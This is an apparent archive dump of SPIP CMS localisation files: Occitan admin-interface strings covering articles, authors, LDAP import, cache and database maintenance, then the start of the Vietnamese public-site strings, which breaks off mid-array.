'info_preview_texte' => 'Es possible de previsualizar lo sit coma s’avián publicat totei leis articles e brèvas (que tenon aumens l’estatut "prepausat"). La cau dobrir, aquela possibilitat, ren qu’ais administrators, a totei lei redactors, o en degun?',
'info_principaux_correspondants' => 'Vòstrei correspondents principaus',
'info_procedez_par_etape' => 'procedissètz estapa per estapa',
'info_procedure_maj_version' => 'Cau lançar la procedura d’actualizacion per adaptar
la basa de donadas a la version novèla d’SPIP.',
'info_ps' => 'P.S.',
'info_publier' => 'publicar',
'info_publies' => 'Vòstreis articles publicats en linha',
'info_question_accepter_visiteurs' => 'S’ais esqueletas de vòstre sit web se prevei lo registrament de vesitaires sens accès a l’espaci privat, vougatz activar l’opcion seguenta:',
'info_question_inscription_nouveaux_redacteurs' => 'Acceptatz que de redactors novèus s’inscrigan
a partir dau sit public? S’o acceptatz, lei vesitaires se poiràn inscriure
dieumercé un formulari automatizat e alora accediràn a l’espaci privat per
prepausar d’articles.<blockquote><i> Durant la fasa d’inscripcion, leis utilizaires recebon un e-mail automatic
que li baila un còde d’accès au sit privat.
D’uneis aubergadors autorizan pas lo mandadís d’e-mails dempuei sei servidors: en aqueu cas, l’inscripcion automatica es
impossibla.', # MODIF
'info_question_utilisation_moteur_recherche' => 'Desiratz d’utilizar lo cercador integrat a SPIP? (lo desactivar abriva lo foncionament dau sistèma.)',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Raiç dau sit',
'info_recharger_page' => 'Vougatz tornar cargar aquela pagina dins un momenton.',
'info_recherche_auteur_a_affiner' => 'Tròp de resultats per "@cherche_auteur@"; vougatz afinar la cèrca.',
'info_recherche_auteur_ok' => 'Mai d’un redactor trobat per "@cherche_auteur@":',
'info_recherche_auteur_zero' => '<b>Ges de resultat trobat per "@cherche_auteur@".',
'info_recommencer' => 'Vougatz tornar començar.',
'info_redacteur_1' => 'Redactor',
'info_redacteur_2' => 'qu’accedís a l’espaci privat (<i>recomandat</i>)',
'info_redacteurs' => 'Redactors',
'info_redaction_en_cours' => 'EN CORS DE REDACCION',
'info_redirection' => 'Redireccion',
'info_refuses' => 'Vòstreis articles refusats',
'info_reglage_ldap' => 'Opcions: <b>Reglatge de l’importacion LDAP</b>',
'info_renvoi_article' => '<b>Redireccion.</b> Aquel article remanda a la pagina:',
'info_reserve_admin' => 'Ren que leis administrators pòdon modificar aquela adreiça.',
'info_restreindre_rubrique' => 'Restrénher la gestion a la rubrica:',
'info_resultat_recherche' => 'Resultats de la cèrca:',
'info_rubriques' => 'Rubricas',
'info_rubriques_02' => 'rubricas',
'info_rubriques_trouvees' => 'Rubricas trobadas',
'info_rubriques_trouvees_dans_texte' => 'Rubricas trobadas (dins lo tèxt)',
'info_sans_titre' => 'Sensa títol',
'info_selection_chemin_acces' => '<b>Seleccionatz</b> çai sota lo camin d’accès dins l’annuari:',
'info_signatures' => 'signaturas',
'info_site' => 'Sit',
'info_site_2' => 'sit: ',
'info_site_min' => 'sit',
'info_site_reference_2' => 'Sit referenciat',
'info_site_web' => 'SIT WEB:', # MODIF
'info_sites' => 'sits',
'info_sites_lies_mot' => 'Lei sits referenciats ligats a aqueu mot clau',
'info_sites_proxy' => 'Utilizar un proxy',
'info_sites_trouves' => 'Sits trobats',
'info_sites_trouves_dans_texte' => 'Sits trobats (dins lo tèxt)',
'info_sous_titre' => 'Sostítol:',
'info_statut_administrateur' => 'Administrator',
'info_statut_auteur' => 'Estatut d’aquel autor:', # MODIF
'info_statut_auteur_a_confirmer' => 'Inscripcion de confirmar',
'info_statut_auteur_autre' => 'Autre estatut :',
'info_statut_efface' => 'Escafat',
'info_statut_redacteur' => 'Redactor',
'info_statut_utilisateurs_1' => 'Estatut predefinit deis utilizaires importats',
'info_statut_utilisateurs_2' => 'Chausissètz l’estatut d’atribuir ai personas presentas dins l’annuari LDAP quora se connèctan per lo primier còp. Poiretz puei modificar aquel estatut per cada autor un cas per un.',
'info_suivi_activite' => 'Seguit de l’activitat editoriala',
'info_surtitre' => 'Subretítol:',
'info_taille_maximale_vignette' => 'Talha maximala dei vinhetas congreadas per lo sistèma:',
'info_terminer_installation' => 'Ara podètz acabar la procedura d’installacion estandard.',
'info_texte' => 'Tèxt',
'info_texte_explicatif' => 'Tèxt explicatiu',
'info_texte_long' => '(lo tèxt es lòng: apareis doncas en tròç distints que se tornaràn empegar un còp validats.)',
'info_texte_message' => 'Tèxt dau vòstre messatge:', # MODIF
'info_texte_message_02' => 'Tèxt dau messatge',
'info_titre' => 'Títol:',
'info_total' => 'totau: ',
'info_tous_articles_en_redaction' => 'Totei leis articles en cors de redaccion',
'info_tous_articles_presents' => 'Totei leis articles publicats dins aquela rubrica',
'info_tous_les' => 'totei lei:',
'info_tous_redacteurs' => 'Anoncis a totei lei redactors ',
'info_tout_site' => 'Tot lo sit',
'info_tout_site2' => 'An pas revirat l’article dins aquela lenga.',
'info_tout_site3' => 'An revirat l’article dins aquela lenga, mai an portat puei de modificacions a l’article de referéncia. Cau actualizar la revirada.',
'info_tout_site4' => 'An revirat l’article dins aquela lenga, e la revirada es actualizada.',
'info_tout_site5' => 'Article originau.',
'info_tout_site6' => '<b>Atencion:</b> ren que leis articles originaus s’afichan.
Lei reviradas s’assòcian a l’originau,
una color indica lor estat:',
'info_travail_colaboratif' => 'Trabalh collaboratiu subre leis articles',
'info_un_article' => 'un article, ',
'info_un_site' => 'un sit, ',
'info_une_rubrique' => 'una rubrica, ',
'info_une_rubrique_02' => '1 rubrica',
'info_url' => 'URL:',
'info_url_site' => 'URL DAU SIT:',
'info_urlref' => 'Liame ipertèxt:',
'info_utilisation_spip' => 'Ara podètz començar d’utilizar lo sistèma de publicacion assistida...',
'info_visites_par_mois' => 'Afichatge per mes:',
'info_visiteur_1' => 'Vesitaire',
'info_visiteur_2' => 'dau sit public',
'info_visiteurs' => 'Vesitaires',
'info_visiteurs_02' => 'Vesitaires dau sit public',
'install_echec_annonce' => 'L’installacion capitarà mau, o abotirà a un sit non foncionau...',
'install_extension_mbstring' => 'SPIP fonciona pas amb:',
'install_extension_php_obligatoire' => 'SPIP exigís l’extension php:',
'install_select_langue' => 'Seleccionatz una lenga puei clicatz lo boton «seguent» per amodar la procedura d’installacion.',
'intem_redacteur' => 'redactor',
'item_accepter_inscriptions' => 'Acceptar leis inscripcions',
'item_activer_messages_avertissement' => 'Activar lei messatges d’avertiment',
'item_administrateur_2' => 'administrator',
'item_afficher_calendrier' => 'Afichar dins lo calendier',
'item_autoriser_documents_joints' => 'Autorizar que se jonga de documents ais articles',
'item_autoriser_documents_joints_rubriques' => 'Autorizar lei documents dins lei rubricas',
'item_choix_administrateurs' => 'leis administrators',
'item_choix_generation_miniature' => 'Congrear automaticament lei miniaturas deis imatges.',
'item_choix_non_generation_miniature' => 'Congrear ges de miniaturas deis imatges.',
'item_choix_redacteurs' => 'lei redactors',
'item_choix_visiteurs' => 'lei vesitaires dau sit public',
'item_creer_fichiers_authent' => 'Crear de fichiers .htpasswd',
'item_limiter_recherche' => 'Limitar la cèrca ais informacions contengudas dins vòstre sit',
'item_login' => 'Login',
'item_mots_cles_association_articles' => 'ais articles',
'item_mots_cles_association_rubriques' => 'ai rubricas',
'item_mots_cles_association_sites' => 'ai sits referenciats o sindicats',
'item_non' => 'Non',
'item_non_accepter_inscriptions' => 'Pas acceptar leis inscripcions',
'item_non_activer_messages_avertissement' => 'Ges de messatge d’avertiment',
'item_non_afficher_calendrier' => 'De pas afichar dins lo calendier',
'item_non_autoriser_documents_joints' => 'Pas autorizar lei documents dins leis articles',
'item_non_autoriser_documents_joints_rubriques' => 'Pas autorizar lei documents dins lei rubricas',
'item_non_creer_fichiers_authent' => 'Pas crear aquelei fichiers',
'item_non_gerer_statistiques' => 'Pas gerir leis estadisticas',
'item_non_limiter_recherche' => 'Alargar la cèrca au contengut dei sits referenciats',
'item_non_publier_articles' => 'Pas publicar leis articles avans la data de publicacion prevista.',
'item_non_utiliser_moteur_recherche' => 'Pas utilizar lo motor',
'item_nouvel_auteur' => 'Autor nòu',
'item_nouvelle_rubrique' => 'Rubrica nòva',
'item_oui' => 'Òc',
'item_publier_articles' => 'Publicar leis articles, quina que siá sa data de publicacion',
'item_reponse_article' => 'Respònsa a l’article',
'item_utiliser_moteur_recherche' => 'Utilizar lo cercador',
'item_visiteur' => 'vesitaire',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'lien_ajout_destinataire' => 'Apondre aqueu destinatari',
'lien_ajouter_auteur' => 'Apondre aquel autor',
'lien_ajouter_participant' => 'Apondre un participant',
'lien_email' => 'e-mail',
'lien_nom_site' => 'NOM DAU SIT:',
'lien_retirer_auteur' => 'Levar l’autor',
'lien_retrait_particpant' => 'Levar aqueu participant',
'lien_site' => 'sit',
'lien_supprimer_rubrique' => 'suprimir aquela rubrica',
'lien_tout_deplier' => 'Desplegar tot',
'lien_tout_replier' => 'Tornar plegar',
'lien_trier_nom' => 'Triar per nom',
'lien_trier_nombre_articles' => 'Triar per nombre d’articles',
'lien_trier_statut' => 'Triar per estatut',
'lien_voir_en_ligne' => 'VEIRE EN LINHA:',
'logo_article' => 'LÒGO DE L’ARTICLE', # MODIF
'logo_auteur' => 'LÒGO DE L’AUTOR', # MODIF
'logo_rubrique' => 'LÒGO DE LA RUBRICA', # MODIF
'logo_site' => 'LÒGO D’AQUEU SIT', # MODIF
'logo_standard_rubrique' => 'LÒGO ESTANDARD DEI RUBRICAS', # MODIF
'logo_survol' => 'LÒGO PER LO SUBREVÒU', # MODIF
// M
'menu_aide_installation_choix_base' => 'Chausida de vòstra basa',
'module_fichier_langue' => 'Fichier de lenga',
'module_raccourci' => 'Acorcha',
'module_texte_affiche' => 'Tèxt afichat',
'module_texte_explicatif' => 'Podètz inserir leis acorchas seguentas dins leis esqueletas de vòstre sit public. Se reviraràn automaticament dins lei diferentei lengas per lei qualas existís un fichier de lenga.',
'module_texte_traduction' => 'Lo fichier de lenga «@module@» es disponible en:',
'mois_non_connu' => 'non conegut',
// O
'onglet_repartition_actuelle' => 'd’aquesta passa',
// P
'plugin_etat_developpement' => 'en cors de desvolopament',
'plugin_etat_experimental' => 'experimentau',
'plugin_etat_stable' => 'estable',
'plugin_etat_test' => 'a l’ensag',
'plugins_liste' => 'Tièra deis ajustons',
// R
'repertoire_plugins' => 'Repertòri :',
// S
'statut_admin_restreint' => '(admin. restrench)', # MODIF
// T
'taille_cache_image' => 'Leis imatges qu’SPIP a calculat automaticament (vinhetas dei documents, títols presentats en forma grafica, foncions matematicas en format TeX...) ocupan dins lo repertòri @dir@ un totau de @taille@.',
'taille_cache_infinie' => 'Aqueu sit prevei ges de limitacion de talha dau repertòri <code>CACHE/</code>.',
'taille_cache_maxi' => 'SPIP assaja de limitar la talha dau repertòri <code>CACHE/</code> d’aqueu sit a <b>@octets@</b> de donadas aperaquí.',
'taille_cache_octets' => 'Ara la talha de l’escondedor compassa @octets@.', # MODIF
'taille_cache_vide' => 'L’escondedor es vuege.',
'taille_repertoire_cache' => 'Talha dau repertòri escondedor',
'text_article_propose_publication' => 'Article prepausat per la publicacion. Esitetz pas de donar vòstre vejaire gràcias au forum estacat a aquel article (en bas de pagina).', # MODIF
'texte_acces_ldap_anonyme_1' => 'D’unei servidors LDAP accèptan ges d’accès anonim. En aqueu cas, cau especificar un identificant d’accès iniciau per poder puei cercar d’informacions dins l’annuari. Pasmens, lei camps seguents se poiràn laissar vueges dins la màger part dei cas.',
'texte_admin_effacer_01' => 'Aquela comanda escafa <i>tot</i> lo contengut de la basa de donadas,
inclús <i>totei</i> leis accès redactors e administrators. Un còp que l’auretz executada, auretz de tornar lançar l’installacion d’SPIP per tornar crear una basa novèla e mai un primier accès administrator.',
'texte_adresse_annuaire_1' => '(Se vòstre annuari es installat sus la meteissa maquina qu’aqueu sit web, s’agís probable de "localhost".)',
'texte_ajout_auteur' => 'L’autor seguent es estat apondut a l’article:',
'texte_annuaire_ldap_1' => 'S’accedissètz a un annuari (LDAP), lo podètz utilizar per importar automaticament d’utilizaires sota SPIP.',
'texte_article_statut' => 'Aquel article es:',
'texte_article_virtuel' => 'Article virtuau',
'texte_article_virtuel_reference' => '<b>Article virtuau:</b> article referenciat dins vòstre sit SPIP, mai redirigit vèrs una autra URL. Per suprimir la redireccion, escafatz l’URL çai subre.',
'texte_aucun_resultat_auteur' => 'Ges de resultat per "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Aquest sit vos pòt indicar de contunha la tiera dei redactors connectats, çò que vos permet d’escambiar de messatges en dirècte. Podètz decidir de pas aparéisser dins aquela lista (siatz "invisible/a" per leis autreis utilizaires).',
'texte_auteur_messagerie_1' => 'Aqueu sit permet d’escambiar de messatges e de constituir de forums de discussion privats entre lei participants dau sit. Podètz decidir de pas participar a aqueleis escambis.',
'texte_auteurs' => 'LEIS AUTORS',
'texte_choix_base_1' => 'Chausissètz vòstra basa:',
'texte_choix_base_2' => 'Lo servidor SQL conten mai d’una basa de donadas.',
'texte_choix_base_3' => '<b>Chausissètz</b> çai sota la que vòstre aubergador vos a atribuida:',
'texte_commande_vider_tables_indexation' => 'Utilizatz aquela comanda per vujar lei taulas d’indexacion utilizadas per lo cercador integrat a SPIP. Aquò permetrà
de ganhar d’espaci disc.',
'texte_compresse_ou_non' => '(Aquest se pòt comprimir o non)',
'texte_compte_element' => '@count@ element',
'texte_compte_elements' => '@count@ elements',
'texte_connexion_mysql' => 'Consultatz leis informacions que vòstre aubergador fornís: i devètz trobar, se vòstre aubergador supòrta SQL, lei còdes de connexion au servidor SQL.', # MODIF
'texte_contenu_article' => '(Contengut de l’article en quauquei mots.)',
'texte_contenu_articles' => 'Segon la maqueta que vòstre sit a adoptada, podètz decidir
que certaneis elements deis articles s’utilizen pas.
Utilizatz la tiera çai sota per indicar quineis elements son disponibles.',
'texte_crash_base' => 'Se vòstra basa de donadas s’es
encalada, podètz assajar una reparacion
automatica.',
'texte_creer_rubrique' => 'Avans de poder escriure d’articles,<br /> devètz crear una rubrica.',
'texte_date_creation_article' => 'DATA DE CREACION DE L’ARTICLE:',
'texte_date_publication_anterieure' => 'DATA DE PUBLICACION ANTERIORA :',
'texte_date_publication_anterieure_nonaffichee' => 'Afichar ges de data de publicacion anteriora.',
'texte_date_publication_article' => 'DATA DE PUBLICACION EN LINHA :',
'texte_descriptif_petition' => 'Descriptiu de la peticion',
'texte_descriptif_rapide' => 'Descriptiu rapid',
'texte_effacer_base' => 'Escafar la basa de donadas SPIP',
'texte_effacer_donnees_indexation' => 'Escafar lei donadas d’indexacion',
'texte_en_cours_validation' => 'Se prepausa de publicar leis articles e brèvas çai sota. Esitetz pas de donar vòstre vejaire gràcias ai forums que i son estacats.', # MODIF
'texte_enrichir_mise_a_jour' => 'Podètz enriquir la compaginacion de vòstre tèxt en utilizant d’"acorchas tipograficas".',
'texte_fichier_authent' => '<b>Deu crear, SPIP, de fichiers especiaus <tt>.htpasswd</tt>
e <tt>.htpasswd-admin</tt> dins lo repertòri @dossier@?</b><p>
Aquelei fichiers vos pòdon servir per restrénher l’accès ais autors
e administrators alhors dins vòstre sit
(programa extèrne d’estadisticas, per exemple).<p>
Se vos sèrv pas, podètz laissar aquesta opcion
a sa valor predefinida (ges de creacion
dei fichiers).</p>', # MODIF
'texte_informations_personnelles_1' => 'Ara lo sistèma vos crearà un accès personalizat au sit.',
'texte_informations_personnelles_2' => '(Nòta: se s’agís d’una reïnstallacion, e se vòstre accès fonciona encara, podètz', # MODIF
'texte_introductif_article' => '(Tèxt introductiu de l’article.)',
'texte_jeu_caractere' => 'Aquesta opcion es utila se vòstre sit deu afichar d’alfabets
diferents de l’alfabet latin (o "occidentau") e sei derivats.
En aqueu cas, cau cambiar lo reglatge predefinit per fin d’utilizar
un jòc de caractèrs apropriat. Oblidetz pas tanpauc d’adaptar
lo sit public en consequéncia (balisa <tt>#CHARSET</tt>).',
'texte_jeu_caractere_2' => 'Aquest reglatge a ges d’efiech retroactiu. Adoncas
lei tèxts ja sasits se pòdon afichar
d’un biais incorrècte après que s’aga modificat lo reglatge. De tot biais
poiretz tornar sensa damatge au reglatge precedent.',
'texte_jeu_caractere_3' => 'Vòstre sit es per ara installat amb lo jòc de caractèrs :',
'texte_lien_hypertexte' => '(Se vòstre messatge se referís a un article publicat sus lo web, o a una pagina fornissent mai d’informacions, vougatz indicar çai sota lo títol de la pagina e son adreiça URL.)',
'texte_login_ldap_1' => '(Laissar vuege per un accès anonim, o picar lo camin complet, per exemple «<tt>uid=fabre, ou=usanciers, dc=mon-domeni, dc=com</tt>».)',
'texte_login_precaution' => 'Atencion! Aquò’s lo login amb lo quau siatz ara connectat/ada.
Utilizatz aquest formulari amb precaucion...',
'texte_message_edit' => 'Atencion: aquest messatge, cada redactor lo pòt veire, e cada administrator dau sit lo pòt modificar. Utilizatz leis anoncis ren que per expausar d’eveniments importants de la vida dau sit.',
'texte_mise_a_niveau_base_1' => 'Venètz d’actualizar lei fichiers SPIP.
Ara cau metre a nivèu la basa de donadas
dau sit.',
'texte_modifier_article' => 'Modificar l’article:',
'texte_moteur_recherche_active' => '<b>Lo cercador es activat.</b> Utilizatz aquesta commanda
se volètz tornar indexar la basa rapidament (après restauracion
d’una sauvagarda per exemple). Notatz que lei documents modificats d’un
biais normau (a partir de l’interfàcia SPIP) se tornan indexar
automaticament: donc aquesta comanda es utila ren que d’un biais excepcionau.',
'texte_moteur_recherche_non_active' => 'Lo cercador es pas activat.',
'texte_multilinguisme' => 'Se desiratz de gerir d’articles en mai d’una lenga, amb una navigacion complèxa, podètz apondre un menut per chausir la lenga deis articles e/o dei rubricas, en foncion de l’organizacion de vòstre sit.', # MODIF
'texte_multilinguisme_trad' => 'Podètz tanben activar un sistèma de gestion dei liames entre lei diferentei reviradas d’un article.', # MODIF
'texte_non_compresse' => '<i>non comprimit</i> (per amòr que vòstre servidor supòrta pas aquela foncionalitat)',
'texte_nouveau_message' => 'Messatge nòu',
'texte_nouvelle_version_spip_1' => 'Avètz installada una version novèla d’SPIP.',
'texte_nouvelle_version_spip_2' => 'Aquesta version novèla demanda una actualizacion mai completa que de costuma. Se siatz webmèstre/webmèstra dau sit, vougatz escafar lo fichier <tt>inc_connect.php3</tt> dau repertòri <tt>ecrire</tt> e tornar prene l’installacion per fin d’actualizar vòstrei paramètres de connexion a la basa de donadas.<p> (NB: s’avètz demembrat vòstrei paramètres de connexion, espepissatz lo fichier <tt>inc_connect.php3</tt> avans de lo suprimir...)</p>', # MODIF
'texte_operation_echec' => 'Tornatz a la pagina precedenta, chausissètz una autra basa o creatz-ne’n una novèla. Verificatz leis informacions que vòstre aubergador a fornidas.',
'texte_plus_trois_car' => 'mai de 3 caractèrs',
'texte_plusieurs_articles' => 'Mai d’un autor trobat per "@cherche_auteur@":',
'texte_port_annuaire' => '(La valor indicada coma predefinida conven en generau.)',
'texte_proposer_publication' => 'Quora auretz acabat vòstre article,<br /> poiretz prepausar que siá publicat.',
'texte_proxy' => 'Dins d’unei cas (intranet, rets protegidas...),
se pòt que cauga utilizar un <i>proxy HTTP</i> per aténher lei sits sindicats.
En aqueu cas, marcatz çai sota son adreiça, sota la forma
<tt><html>http://proxy:8080</html></tt>. En generau,
laissaretz vueja aquela casa.',
'texte_publication_articles_post_dates' => 'Coma SPIP se deu comportar fàcia ais articles que sa
data de publicacion es fixada a una
escasença futura?',
'texte_rappel_selection_champs' => '[Oblidetz pas de seleccionar aqueu camp correctament.]',
'texte_recalcul_page' => 'Se volètz
tornar calcular ren qu’una pagina, passatz puslèu per l’espaci public e utilizatz lo boton "tornar calcular".',
'texte_recapitiule_liste_documents' => 'Aquesta pagina recapitula la tiera dei documents qu’avètz plaçats dins lei rubricas. Per modificar leis informacions de cada document, seguissètz lo liame vèrs la pagina de sa rubrica.',
'texte_recuperer_base' => 'Reparar la basa de donadas',
'texte_reference_mais_redirige' => 'article referenciat dins vòstre sit SPIP, mai redirigit vèrs una autra URL.',
'texte_requetes_echouent' => '<b>Quora d’unei requistas SQL s’encalan
sistematicament e sensa rason aparenta, se pòt
qu’aquò venga ben de la basa de donadas. </b><p>
SQL ten la facultat de reparar sei
taulas quora un accident leis
a esquintadas. Aicí podètz assajar aquela reparacion; se
capita pas, servatz una còpia de l’afichatge, que conten
benlèu d’indicis de çò que va pas...</p><p>
Se lo problèma persistís, contactatz vòstre
aubergador.</p>', # MODIF
'texte_selection_langue_principale' => 'Podètz seleccionar çai sota la "lenga principala" dau sit. Aquela chausida vos obliga pas -grand gaug- d’escriure vòstreis articles dins la lenga seleccionada, mai permet de determinar:
<ul><li> lo format predefinit dei datas sus lo sit public;</li>
<li> la natura dau motor tipografic que SPIP deu utilizar per lo rendut dei tèxts;</li>
<li> la lenga utilizada dins lei formularis dau sit public;</li>
<li> la lenga presentada coma predefinida dins l’espaci privat.</li></ul>',
'texte_sous_titre' => 'Sostítol',
'texte_statistiques_visites' => '(barras escuras: dimenge / corba escura: evolucion de la mejana)',
'texte_statut_attente_validation' => 'en espèra de validacion',
'texte_statut_publies' => 'publicats en linha',
'texte_statut_refuses' => 'refusats',
'texte_suppression_fichiers' => 'Utilizatz aquela comanda per suprimir totei lei fichiers que se tròban
dins l’escondedor SPIP. Aquò permet per exemple de forçar un calcul nòu de totei lei paginas
s’avètz bravament modificat lo grafisme o l’estructura dau sit.',
'texte_sur_titre' => 'Subretítol',
'texte_table_ok' => ': aquesta taula es condrecha.',
'texte_tables_indexation_vides' => 'Lei taulas d’indexacion dau motor son vuejas.',
'texte_tentative_recuperation' => 'Assai de reparacion',
'texte_tenter_reparation' => 'Assajar de reparar la basa de donadas',
'texte_test_proxy' => 'Per assajar aqueu proxy, indicatz aicí l’adreiça d’un sit web
que lo voudriatz esprovar.',
'texte_titre_02' => 'Títol:',
'texte_titre_obligatoire' => '<b>Títol</b> [Obligatòri]',
'texte_travail_article' => '@nom_auteur_modif@ a trabalhat sus aquel article fa @date_diff@ minutas',
'texte_travail_collaboratif' => 'Quora es frequent que mai d’un redactor
trabalhe sus lo meteis article, lo sistèma
pòt afichar leis articles recentament "dobèrts"
per fin d’evitar lei modificacions simultanèas.
Aquela opcion es desactivada de maniera predefinida
per fin d’evitar d’afichar de messatges d’avertiment
intempestius.',
'texte_trop_resultats_auteurs' => 'Tròp de resultats per "@cherche_auteur@" ; vougatz afinar la cèrca.',
'texte_unpack' => 'telecargament de la darriera version',
'texte_utilisation_moteur_syndiques' => 'Quora utilizatz lo cercador integrat
a SPIP, podètz far lei cèrcas subre lei sits e
articles sindicats de dos biais
diferents. <br /><img src=\'puce.gif\' /> Lo mai
simple consistís a cercar ren que dins lei
títols e descriptius deis articles. <br /><img src=\'puce.gif\' />
Lo segond biais, ben mai potent, permet
a SPIP de cercar tanben dins lo tèxt dei
sits referenciats.
Se referenciatz un sit, alora SPIP farà la
cèrca dins lo tèxt dau sit meteis.', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'Aqueu metòde obliga SPIP de vesitar
regularament lei sits referenciats,
aquò pòt alentir un pauc lo vòstre
sit.',
'texte_vide' => 'vuege',
'texte_vider_cache' => 'Vujar l’escondedor',
'titre_admin_effacer' => 'Mantenença tecnica',
'titre_admin_tech' => 'Mantenença tecnica',
'titre_admin_vider' => 'Mantenença tecnica',
'titre_cadre_afficher_article' => 'Afichar leis articles',
'titre_cadre_afficher_traductions' => 'Afichar l’estat dei reviradas per aquela lenga',
'titre_cadre_ajouter_auteur' => 'APONDRE UN AUTOR:',
'titre_cadre_interieur_rubrique' => 'Dintre la rubrica',
'titre_cadre_numero_auteur' => 'AUTOR NUMÈRO',
'titre_cadre_signature_obligatoire' => '<b>Signatura</b> [Obligatòria]<br />',
'titre_config_fonctions' => 'Configuracion dau sit',
'titre_configuration' => 'Configuracion dau sit',
'titre_connexion_ldap' => 'Opcions: <b>Vòstra connexion LDAP</b>',
'titre_groupe_mots' => 'GROP DE MOTS:',
'titre_langue_article' => 'LENGA DE L’ARTICLE', # MODIF
'titre_langue_rubrique' => 'LENGA DE LA RUBRICA', # MODIF
'titre_langue_trad_article' => 'LENGA E REVIRADAS DE L’ARTICLE',
'titre_les_articles' => 'LEIS ARTICLES',
'titre_naviguer_dans_le_site' => 'Navigar per lo sit...',
'titre_nouvelle_rubrique' => 'Rubrica novèla',
'titre_numero_rubrique' => 'RUBRICA NUMÈRO:',
'titre_page_admin_effacer' => 'Mantenença tecnica: escafar la basa',
'titre_page_articles_edit' => 'Modificar: @titre@',
'titre_page_articles_page' => 'Leis articles',
'titre_page_articles_tous' => 'Tot lo sit',
'titre_page_auteurs' => 'Vesitaires',
'titre_page_calendrier' => 'Calendier @nom_mois@ de @annee@',
'titre_page_config_contenu' => 'Configuracion dau sit',
'titre_page_config_fonctions' => 'Configuracion dau sit',
'titre_page_configuration' => 'Configuracion dau sit',
'titre_page_controle_petition' => 'Seguit dei peticions',
'titre_page_delete_all' => 'supression totala e irreversibla',
'titre_page_documents_liste' => 'Lei documents dei rubricas',
'titre_page_index' => 'Vòstre espaci privat',
'titre_page_message_edit' => 'Redigir un messatge',
'titre_page_messagerie' => 'Vòstra messatjariá',
'titre_page_recherche' => 'Resultats de la cèrca @recherche@',
'titre_page_statistiques_referers' => 'Estadisticas (liames intrants)',
'titre_page_upgrade' => 'Mesa a nivèu d’SPIP',
'titre_publication_articles_post_dates' => 'Publicacion deis articles pòstdatats',
'titre_referencer_site' => 'Referenciar lo sit:',
'titre_rendez_vous' => 'RENDÈTZ-VOS:',
'titre_reparation' => 'Reparacion',
'titre_suivi_petition' => 'Seguit dei peticions',
'trad_article_inexistant' => 'I a ges d’article que pòrte aqueu numèro.',
'trad_article_traduction' => 'Totei lei versions d’aquel article:',
'trad_deja_traduit' => 'Aquel article ja es una revirada de l’article present.',
'trad_delier' => 'Cessar de liar aquest article a sei reviradas ', # MODIF
'trad_lier' => 'Aquest article es una revirada de l’article numèro:',
'trad_new' => 'Escriure una revirada novèla d’aquest article', # MODIF
// U
'utf8_convert_termine' => 'Es acabat !',
'utf8_convertir_votre_site' => 'Convertir vòstre sit en utf-8',
// V
'version' => 'Version :'
);
?>
public_vi.php 0000666 00000007455 15252547432 0007261 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=vi
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Trang nhà', # MODIF
'articles' => 'Bài',
'articles_auteur' => 'Bài vở của tác giả này',
'articles_populaires' => 'Những bài được chuộng nhất',
'articles_rubrique' => 'Bài vở của đề mục này',
'aucun_article' => 'Không có bài tại địa chì này ',
'aucun_auteur' => 'Không có tác giả tại địa chì này',
'aucun_site' => 'Không có trang Web tại địa chì này ',
'aucune_breve' => 'Không có tin ngắn tại địa chì này',
'aucune_rubrique' => 'Không có đề mục tại địa chì này',
'autres_breves' => 'Những tin ngằn khác ',
'autres_groupes_mots_clefs' => 'Những nhóm từ then chốt khác ',
'autres_sites' => 'Những trang Web khác',
// B
'bonjour' => 'Thân chào',
// C
'commenter_site' => 'Phê bình trang Web này',
// D
'date' => 'Ngày',
'dernier_ajout' => 'Bài được thêm sau chót',
'dernieres_breves' => 'Những tin ngắn mới nhất ',
'derniers_articles' => 'Những bài mới nhất ',
'derniers_commentaires' => 'Các góp ý mới nhất',
'derniers_messages_forum' => 'Trao đổi mới nhất hiện trong diễn đàn',
// E
'edition_mode_texte' => 'văn bản thường',
'en_reponse' => 'Trả lời cho :',
'en_resume' => 'Tóm tắt',
'envoyer_message' => 'Gửi thư tín mới',
'espace_prive' => 'Mạng cá nhân',
// H
'hierarchie_site' => 'Cấu trúc thứ bậc của trang web',
// J
'jours' => 'ngày',
// M
'meme_auteur' => 'Cùng tác giả',
'meme_rubrique' => 'Trong cùng đề mục',
'memes_auteurs' => 'Cùng tác giả',
'message' => 'Thư tín',
'messages_forum' => 'Thư tín diễn đàn', # MODIF
'messages_recents' => 'Tin mới nhất trong diễn đàn',
'mots_clefs' => 'Từ then chốt',
'mots_clefs_meme_groupe' => 'Từ then chốt cùng nhòm ',
// N
'navigation' => 'Điều hướng',
'nom' => 'Tên',
'nouveautes' => 'Những điểm mới',
'nouveautes_web' => 'Những điều mới trên trang web',
'nouveaux_articles' => 'Bài mới',
'nouvelles_breves' => 'Tin ngắn mới',
// P
'page_precedente' => 'trang trước',
'page_suivante' => 'trang sau',
'par_auteur' => 'bởi',
'participer_site' => 'Bạn có thể tham gia đóng góp tích cực vào trang web này để soạn và đăng bài vở. Bạn phải ghi danh dưới đây. Sau đó bạn sẽ nhận email cho biết chi tiết để vào trang web.',
'plan_site' => 'Sơ đồ',
'popularite' => 'Mức độ phổ thông',
'poster_message' => 'Để đăng tin',
'proposer_site' => 'Bạn có thể đề nghị thêm một trang web vào phần này:',
// R
'repondre_article' => 'Trả lời bài này',
'repondre_breve' => 'Trả lời tin ngắn này',
'resultats_recherche' => 'Kết quả tìm kiếm',
'retour_debut_forums' => 'Trở về trang đầu của diễn đàn',
'rubrique' => 'Ðề Mục',
'rubriques' => 'Ðề Mục',
// S
'signatures_petition' => 'Chữ ký',
'site_realise_avec_spip' => 'Trang web được soạn bằng SPIP',
'sites_web' => 'Trang web',
'sous_rubriques' => 'Đề mục phụ',
'suite' => 'tiếp tục',
'sur_web' => 'Trên trang web',
'syndiquer_rubrique' => 'Phổ biến đề mục này',
'syndiquer_site' => 'Phổ biến trọn trang web',
// T
'texte_lettre_information' => 'Đây là bản tin của trang web',
